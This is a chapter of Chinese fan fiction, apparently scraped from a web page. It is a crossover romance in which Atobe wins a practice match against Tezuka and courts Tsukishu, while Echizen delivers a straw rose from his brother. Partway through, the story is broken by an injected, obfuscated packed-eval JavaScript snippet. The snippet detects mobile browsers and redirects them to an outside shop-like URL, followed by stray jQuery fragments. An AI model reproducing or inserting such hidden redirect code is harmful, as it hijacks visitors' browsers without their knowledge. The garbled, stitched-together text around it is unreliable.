脚踝的伤让月舒在家休息了两天。周一的冰帝校园里,关于宴会那晚的流言已经发酵出好几个版本——最流行的一个是“迹部少爷为藤堂月舒与道明寺夫人当面对峙”,夸张得让当事人听了都哭笑不得。
“所以他们真的以为本大爷会和道明寺枫吵架?”午休时,迹部坐在月舒对面,看着她在数学作业上艰难挣扎,嘴角勾起嘲讽的弧度,“太不华丽了。”
月舒头也不抬:“流言从来不需要真实性,只需要戏剧性。”
“那你觉得哪个版本最有趣?”
“都不如我自己写的好。”月舒终于解出一道题,满意地放下笔,“在我的版本里,你应该是从天而降,披着镶满钻石的披风,用网球拍打飞了所有坏人。”
迹部低笑:“那本大爷下次试试。”
午后阳光透过教室窗户洒进来,在两人之间的桌面上投下温暖的光斑。月舒的脚踝还缠着绷带,搁在另一张椅子上。早乙女奈绪几个女生远远看着这边,小声议论着,没人敢来打扰。
“对了,”迹部突然从书包里拿出一份装订整齐的文件,“关于欧洲债务危机的分析报告。本大爷整理了可能的影响路径和时间线,你可以参考。”
月舒接过,翻开第一页就看到密密麻麻的数据和图表,但旁边都有迹部手写的简洁注释。她抬头看他:“你花了不少时间吧?”
“不算什么。”迹部轻描淡写,“正好本大爷也在研究欧洲市场的投资机会。”
月舒知道他在说谎——这份报告的深度和广度,显然远远超出高中生的课程范围。但她没戳破,只是认真地道谢:“很有帮助。谢谢。”
“真要谢的话,”迹部撑着下巴看她,“下周末的练习赛,来看吧。”
“青学对冰帝?”
“嗯。”
月舒想起越前龙马那张面无表情的脸,和他说的“哥哥喜欢的女孩子”。也想起迹部在雨夜伞下说的“本大爷会赢”。
“好。”她说,“我会去。”
迹部的眼睛亮了起来,但很快又故作镇定地转开视线:“那就说定了。”
练习赛那天是个晴朗的周六。冰帝网球场周围早早围满了人——不仅是两校的学生,还有一些闻风而来的网球杂志记者。关东大赛前的这场练习赛,被很多人视为重要风向标。
月舒到的时候,迹部正在做热身。他穿着冰帝正选的深紫色运动服,外套随意搭在肩上,正用球拍颠球。每个动作都流畅而精准,带着他特有的华丽感。
“月舒!这里!”铃木园子的声音从看台前排传来。她身边坐着毛利兰,工藤新一则站在栏杆边,专注地看着场内。
月舒走过去,在园子身边坐下。她的脚踝已经好了大半,但还穿着平底鞋。
“哇,冰帝的场地好豪华!”园子环顾四周,“比我们帝丹的气派多了!”
毛利兰温柔地笑着:“毕竟是私立贵族学校呢。”
工藤新一转头看了月舒一眼,点点头算是打招呼,然后又转回去观察场内的球员:“冰帝的正选阵容比去年更强了。不过青学那边……那个一年级的越前龙马,很有意思。”
话音刚落,青学的人入场了。
手冢国光走在最前面,表情一如既往的严肃。越前龙马跟在队伍末尾,帽子压得很低,但一进场就直直看向月舒的方向。
然后,他朝这边走了过来。
“喂,越前!”桃城武在后面喊。
龙马没理会,一直走到看台前才停下。他从运动包里拿出一个东西,递给月舒——是一个小小的、草编的玫瑰花。
“哥哥寄来的。”龙马说,“他说佛罗伦萨的玫瑰花开了,让你记得。”
月舒愣住,接过那朵精致的草编玫瑰。编织手法很特别,花瓣层层叠叠,栩栩如生。
迹部不知何时走了过来,深紫色眼眸盯着那朵玫瑰:“越前龙雅?”
“嗯。”龙马简短回应,然后看向迹部,“今天的比赛,我不会输。”
“madamadadane?”迹部挑眉。
龙马没回答,转身走回青学队伍。但那一瞬间,他帽檐下的琥珀色眼睛,锐利得像出鞘的刀。
迹部看向月舒手里的玫瑰,语气听不出情绪:“他还真是……有心。”
“只是纪念品。”月舒平静地说,把玫瑰小心地放进包里。
“本大爷也会送你。”迹部说,“真正的玫瑰。”
“迹部,该热身了。”忍足侑士在场上喊。
迹部最后看了月舒一眼,转身走向球场。他的背影挺拔而坚定,深紫色外套在风中扬起。
比赛开始。
第一场是双打,冰帝的宍户亮和凤长太郎对青学的大石秀一郎和菊丸英二。激烈的对决引来阵阵惊呼,但月舒的注意力却不完全在比赛上。
她看到迹部坐在教练席,专注地观察着场上的每一分。偶尔他会对忍足低声说些什么,忍足点头,然后在笔记本上记录。那种全神贯注的姿态,和平时的张扬截然不同。
“迹部君真的很认真呢。”毛利兰轻声说。
“是啊,毕竟是部长。”园子说,“不过月舒,你和迹部到底——”
“只是朋友。”月舒打断她。
工藤新一突然开口:“那个越前龙马,他哥哥和你很熟?”
“只在佛罗伦萨见过一次。”月舒说,“他听我弹钢琴,说要教我网球当回礼。”
“这样啊。”工藤推了推眼镜,“不过刚才他送你玫瑰的时候,迹部的表情很有意思。”
月舒没接话。
第一场冰帝险胜。第二场单打,冰帝的日吉若对青学的不二周助。不二以6-4获胜,展现了惊人的天赋。
然后是第三场——迹部景吾对手冢国光。
两人站在网前握手时,全场寂静。阳光落在他们身上,像舞台的聚光灯。
“手冢,”迹部开口,声音清晰传遍全场,“今天,本大爷会赢。”
手冢平静回应:“全力以赴吧。”
比赛开始。第一局就是拉锯战,两人你来我往,每一分都打得很艰难。迹部的“迈向破灭的圆舞曲”一次次攻向手冢的反手,而手冢的“零式削球”则让迹部难以招架。
月舒专注地看着。她不懂网球的技术细节,但她能看出那种势均力敌的较量——两个同样骄傲、同样强大的少年,在球场上倾尽全力的对决。
第四局,迹部破发成功,引来冰帝学生们的欢呼。他转身看向看台,目光精准地找到月舒,嘴角勾起一个张扬的笑。
像是在说:看,这就是本大爷的世界。
月舒的心脏,轻轻一跳。
比赛进入高潮。手冢的手臂似乎有些不适——月舒注意到他偶尔会皱眉,揉捏左臂。但即使如此,他依然打出了精彩的回球。
最终,迹部以7-5获胜。最后一个球落地时,全场爆发出震耳欲聋的欢呼。
迹部走到网前,与手冢握手:“你的手臂……”
“没事。”手冢简短回答,“精彩的比赛。”
“下次再战。”
一定。”
迹部转身走向看台。汗水浸湿了他的头发和运动服,但他的眼睛亮得惊人。他在月舒面前停下,微微喘息。
“怎么样?”他问,语气里有掩饰不住的期待。
月舒看着他,紫眸在阳光下泛着清澈的光。
“很精彩。”她说,“虽然看不太懂技术,但能感觉到……那种全力以赴的执着。”
迹部笑了,那笑容里有种纯粹的、少年人的得意。
“接下来是越前龙马的比赛。”忍足走过来,“他对我们的一年级正选,日吉的弟弟。”
“去看看。”迹部说,很自然地朝月舒伸出手。
月舒犹豫了一秒,握住他的手,借力站起身。迹部的手心温热,带着薄茧和汗水的湿润。
他们走到另一片场地时,越前龙马已经站在场上。他的对手是个高大的二年级生,看起来信心满满。
但比赛一开始,局势就完全倒向龙马。他的球速快得惊人,角度刁钻,每一次回击都干净利落。
“6-0。”裁判宣布。
比赛只用了十五分钟。
龙马收起球拍,走到网前与对手握手,然后径直走向月舒和迹部。
“madamadadane。”他说,但眼睛看着迹部,“你还差得远呢。”
迹部挑眉:“你确实不错。但想赢本大爷,还早。”
龙马没理他,转而看向月舒:“哥哥说,下次他来日本,想听你弹钢琴。”
“……好。”月舒说。
“还有,”龙马补充,“他说网球和钢琴一样,找到呼吸的节奏,就能掌控一切。”
说完,他转身离开,留下迹部皱紧眉头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333029|199199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“呼吸的节奏……”迹部喃喃重复,然后突然看向月舒,“你弹钢琴时,是什么节奏?”
月舒想了想:“看心情。有时候快,有时候慢,有时候……根本不成调。”
“那网球呢?”迹部追问,“如果让你形容本大爷的网球,是什么节奏?”
月舒看着他汗湿的脸和发亮的眼睛,突然笑了。
“像心跳。”她说,“稳定,有力,永远在自己的掌控中——即使表面上再华丽张扬。”
迹部愣住了。
然后,他的嘴角慢慢扬起,笑容越来越大。
“不错。”他说,“这个评价,本大爷收下了。”
练习赛结束后,众人陆续离场。迹部要带队总结,让月舒等他一起走。
月舒坐在看台上,看着夕阳将网球场染成金色。工藤新一和毛利兰已经走了,园子也被她哥哥接走。整个场地渐渐空旷下来。
她拿出那朵草编玫瑰,在指尖转动。编织手法很精细,每一片花瓣都栩栩如生。越前龙雅——那个只见过一次面的少年,居然还记得她。
“你喜欢玫瑰?”
迹部的声音从身后传来。他已经换回制服,头发还有些湿,身上带着沐浴后的清新香气。
“挺好看的。”月舒说。
“本大爷送你更好的。”迹部在她身边坐下,“真正的、会开花的玫瑰。”
“不用——”
“已经订了。”迹部打断她,“明天送到你家。是一盆蓝玫瑰,本大爷亲手培育的品种。”
月舒转头看他:“你还会种花?”
“园艺也是本大爷的兴趣之一。”迹部理所当然地说,“蓝玫瑰很难培育,但本大爷成功了。给它取名叫‘月影’。”
“为什么叫这个?”
“因为,”迹部看着她,深紫色眼眸在夕阳下格外深邃,“像你眼睛的颜色。在月光下,会变成这种蓝紫色。”
月舒的心脏,又漏跳了一拍。
她别开视线,看向空荡荡的球场:“今天……谢谢你的比赛。”
“不用谢。”迹部说,“以后还有更多比赛,你都可以来看。”
“好。”
两人沉默地坐了一会儿。夕阳越来越低,天空染上温柔的橙粉色。
“走吧。”迹部站起身,朝她伸出手,“本大爷送你回去。”
月舒握住他的手,站起身。这次她没有马上松开,而是任由他牵着,走出网球场。
暮色中,两个少年的影子在地上拉得很长,紧紧依偎在一起。
“下周末,”迹部突然说,“有个现代艺术展。要一起去吗?”
“你不是对艺术没兴趣吗?”
“本大爷可以有兴趣。”迹部说,“而且,听说有你喜欢的画家的作品。”
月舒转头看他:“你调查我?”
“是了解。”迹部纠正,“本大爷想了解你的一切——喜欢的画家,爱吃的食物,写小说的习惯,弹钢琴时的表情。”
他的语气理所当然,却让月舒的脸微微发热。
“为什么?”她问。
“因为,”迹部停下脚步,转身面对她,“本大爷想成为那个最懂你的人。”
暮色里,少年的脸庞被温柔的光线笼罩,骄傲依旧,但眼神真诚。
月舒看着他,很久很久。
然后,她轻声说:
“那你要加油了。因为我有时候,连自己都不太懂自己。”
迹部笑了:“那就一起摸索。本大爷有的是耐心。”
他们继续往前走。手还牵在一起,谁也没提松开的事。
而在他们身后,网球场入口的阴影里,越前龙马靠着墙,帽檐压得很低。他看着两人远去的背影,拿出手机,发了条短信:
「她有人陪了。不过花送到了。」
几秒钟后,回复来了:
「知道了。下次来日本,再请她弹琴吧。」
龙马收起手机,转身离开。
暮色四合,东京的夜晚降临。
而在城市的另一端,道明寺枫正看着一份新的报告——关于今天练习赛的观察记录,以及迹部与藤堂月舒之间明显的亲密互动。
她合上文件夹,对助理说:“告诉少爷,下周的家宴,必须出席。还有……邀请藤堂月舒。”
“是,夫人。”
夜风渐起,吹过东京的街道。